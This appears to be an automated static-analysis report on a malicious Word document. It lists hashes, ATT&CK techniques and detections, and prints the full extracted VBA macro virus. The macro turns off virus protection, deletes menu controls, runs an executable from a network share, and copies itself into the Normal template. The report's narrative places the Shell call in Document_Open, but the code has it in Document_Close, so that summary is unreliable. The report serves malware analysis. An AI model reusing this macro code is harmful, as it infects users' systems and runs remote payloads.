Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b6525e0d962e6212…

MALICIOUS

Office (OLE)

510.0 KB Created: 2019-08-14 07:56:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 23ad9e080163cdcaeb1d0593fa0e2447 SHA-1: 7fdb212ba7dd089720d070bba5c679fb88aa8552 SHA-256: b6525e0d962e6212bbc052d9102a2f2937ec420441c5bff21c0bfe890e05787f
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Document_Open macro is designed to execute a file named 'b.exe' from the network share '\\jdq\cc$\b.exe' using the Shell() function. It also attempts to remove itself from the document. The presence of the Document_Open macro and the Shell() call strongly indicate a malicious intent to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Macro.DeleteMacro-6096859-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DeleteMacro-6096859-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/aux/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3491 bytes
SHA-256: 0567c93b604a0a01bca4c05fe63b749673e7e2df3f7b1c5ec24ff1eeda64fb62
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    CommandBars("Macro").Controls(4).Delete
    CommandBars("Macro").Controls(3).Delete
    CommandBars("Macro").Controls(2).Delete
    CommandBars("Macro").Controls(1).Delete
    CommandBars("Tools").Controls(17).Delete
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     If x1 = True Then ActiveDocument.Save
   End If
End If
End Sub
Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If


End Sub
Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

End Sub

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